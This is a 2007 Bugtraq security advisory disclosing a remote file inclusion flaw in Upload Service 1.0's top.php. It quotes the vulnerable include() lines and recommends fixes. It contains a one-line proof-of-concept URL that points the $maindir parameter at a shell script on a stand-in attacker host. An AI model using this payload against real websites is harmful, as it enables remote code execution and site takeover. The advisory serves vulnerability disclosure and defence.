bugtraq - [ECHO_ADV_62$2007] Upload Service 1.0 remote file inclusion

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Date: 23 Jan 2007 09:57:14 -0000
From: y3dips@...il.com
To: bugtraq@...urityfocus.com
Subject: [ECHO_ADV_62$2007] Upload Service 1.0 remote file inclusion

--------------------------------------------------
[ECHO_ADV_62$2007] Upload Service 1.0 remote file inclusion
--------------------------------------------------

Author : Ahmad Muammar W.K (a.k.a) y3dips
Date Found : January, 21st 2007
Location : Indonesia, Jakarta
web : http://echo.or.id/adv/adv62-y3dips-2007.txt
Critical Lvl : Critical
--------------------------------------------------


Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : Upload Service
version : 1.0
URL : http://bild-bearbeiten.de/
Download-path : http://bild-bearbeiten.de/scripts/upload_service_1.0.zip

-------------------------------------------

1. Install directory are not being remove after installation process
2. Variables "$maindir" in top.php are not properly sanitized.

---------------top.php--------
...
include($maindir."config.php");
include($maindir."functions/error.php");
...
------------------------------

When register_globals=on and allow_fopenurl=on an attacker can exploit
this vulnerability with a simple php injection script.

Poc/Exploit:
~~~~~~~~~

http://target.com/upload/top.php?maindir=http://attacker.com/shell.php?

Solution:
~~~~~~
- Remember to remove your install directory and change config.php permission
- Simply Sanitize variable $maindir on affected files. (eg. $maindir=" ";)
- Turn off register_globals

Notification:
~~~~~~~~~

vendor not contact yet

-----------------------------------------------
Shoutz:
~~~~
~ my lovely ana
~ k-159 (my greatest brotha), the_day (young evil thinker), and all echo staff
~ newbie_hacker@...oogroups.com
~ #e-c-h-o @irc.dal.net
----------------------------------------------
Contact:
~~~~~

y3dips|| echo|staff || y3dips[at]gmail[dot]com
Homepage: http://y3dips.echo.or.id/

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